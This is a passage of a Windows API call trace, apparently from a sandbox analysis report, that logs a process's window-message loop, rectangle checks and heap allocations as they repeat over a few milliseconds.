lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0084.325] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.325] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.325] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0084.325] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0084.325] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.325] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.325] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0084.325] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0084.325] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.325] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.325] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0084.326] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.326] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.326] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.326] PtInRect (lprc=0x30f348, pt=0x1c5) returned 1 [0084.326] PtInRect (lprc=0x30f1ec, pt=0xb05e) returned 1 [0084.326] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0084.326] GetCursor () returned 0x10003 [0084.326] GetCurrentThreadId () returned 0xcd8 [0084.326] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.326] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.326] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.326] GetMessageTime () returned 212722 [0084.326] GetMessagePos () returned 0x218027c [0084.326] GetCapture () returned 0x0 [0084.326] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0084.326] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0084.326] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0084.326] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.326] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.326] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0084.326] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.326] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.326] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0084.326] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0084.326] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.326] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.326] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0084.326] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0084.327] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.327] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.327] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0084.327] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.327] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.327] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.327] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0084.327] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.327] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0084.327] GetCurrentThreadId () returned 0xcd8 [0084.327] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.327] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0084.327] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0084.328] NtdllDefWindowProc_W () returned 0x0 [0084.328] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.328] GetCurrentThreadId () returned 0xcd8 [0084.328] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.328] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.328] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0084.328] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0084.328] PtInRect (lprc=0x30f570, pt=0x1c5) returned 1 [0084.328] GetCurrentThreadId () returned 0xcd8 [0084.328] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.328] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0084.328] GetMessageTime () returned 212722 [0084.328] GetMessagePos () returned 0x218027c [0084.328] GetCapture () returned 0x0 [0084.328] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0084.328] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0084.328] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0084.328] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.328] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.328] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0084.328] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.329] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.329] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0084.329] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0084.329] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.329] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.329] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0084.329] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0084.329] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.329] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.329] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0084.329] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.329] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.329] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.329] PtInRect (lprc=0x30f348, pt=0x1c5) returned 1 [0084.329] PtInRect (lprc=0x30f1ec, pt=0xb05e) returned 1 [0084.329] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0084.329] GetCursor () returned 0x10003 [0084.329] GetCurrentThreadId () returned 0xcd8 [0084.329] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.329] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.329] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.329] GetMessageTime () returned 212722 [0084.329] GetMessagePos () returned 0x218027c [0084.329] GetCapture () returned 0x0 [0084.329] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0084.329] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0084.329] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0084.329] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.330] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.330] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0084.330] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.330] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.330] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0084.330] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0084.330] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.330] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.330] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0084.330] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0084.330] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.330] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.330] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0084.330] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.330] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.330] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.330] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0084.330] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.330] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0084.331] GetCurrentThreadId () returned 0xcd8 [0084.331] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.331] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0084.331] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0084.331] NtdllDefWindowProc_W () returned 0x0 [0084.331] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.331] GetCurrentThreadId () returned 0xcd8 [0084.331] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.331] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.331] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0084.331] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0084.331] PtInRect (lprc=0x30f570, pt=0x1c5) returned 1 [0084.331] GetCurrentThreadId () returned 0xcd8 [0084.331] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.331] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0084.332] GetMessageTime () returned 212722 [0084.332] GetMessagePos () returned 0x218027c [0084.332] GetCapture () returned 0x0 [0084.332] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0084.332] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0084.332] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0084.332] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.332] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.332] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0084.332] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.332] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.332] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0084.332] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0084.332] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.332] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.332] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0084.332] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0084.332] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.332] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.332] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0084.332] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.332] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.332] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.332] PtInRect (lprc=0x30f348, pt=0x1c5) returned 1 [0084.332] PtInRect (lprc=0x30f1ec, pt=0xb05e) returned 1 [0084.332] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0084.332] GetCursor () returned 0x10003 [0084.332] GetCurrentThreadId () returned 0xcd8 [0084.332] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.332] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.332] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.333] GetMessageTime () returned 212722 [0084.333] GetMessagePos () returned 0x218027c [0084.333] GetCapture () returned 0x0 [0084.333] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0084.333] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0084.333] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0084.333] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.333] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.333] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0084.333] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.333] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.333] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0084.333] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0084.333] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.333] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.333] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0084.333] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0084.333] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.333] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0084.333] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0084.333] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.333] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.333] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.333] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0084.333] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82aac0 [0084.334] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0084.334] GetCurrentThreadId () returned 0xcd8 [0084.334] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0084.334] PtInRect (lprc=0x30f3d0, pt=0x1c5) returned 1 [0084.334] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x14b01c5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0084.334] NtdllDefWindowProc_W () returned 0x0 [0084.334] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82aac0 | out: hHeap=0x7f0000) returned 1 [0084.334] GetCurrentThreadId () returned 0xcd8 [0084.334] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0084.335] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.335] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0084.335] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0084.335] PtInRect (lprc=0x30f570, pt=0x1c5) returned 1 [0084.335] GetCurrentThreadId () returned 0xcd8 [0084.335] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.335] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0084.335] GetMessageTime () returned 212722 [0084.335] GetMessagePos () returned 0x218027c [0084.335] GetCapture () returned 0x0 [0084.335] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0084.335] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0084.335] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0084.335] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.335] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.335] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0084.335] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.335] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0084.335] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0084.335] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0084.335] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.335] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0084.335] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0084.335] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0084.335] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.335] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0084.335] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0084.336] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0084.336] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0084.336] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.336] PtInRect (lprc=0x30f348, pt=0x1c5) returned 1 [0084.336] PtInRect (lprc=0x30f1ec, pt=0xb05e) returned 1 [0084.336] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0084.336] GetCursor () returned 0x10003 [0084.336] GetCurrentThreadId () returned 0xcd8 [0084.336] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0084.336] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0084.336] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0084.336] GetMessageTime () returned 212738 [0084.336] GetMessagePos () returned 0x218027c [0084.336] GetCapture () returned 0x0 [0084.336] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0084.336] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0084.336] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0084.336] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0084.336] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0084.336] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.336] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0084.336] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0084.336] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0084.336] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0084.336] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 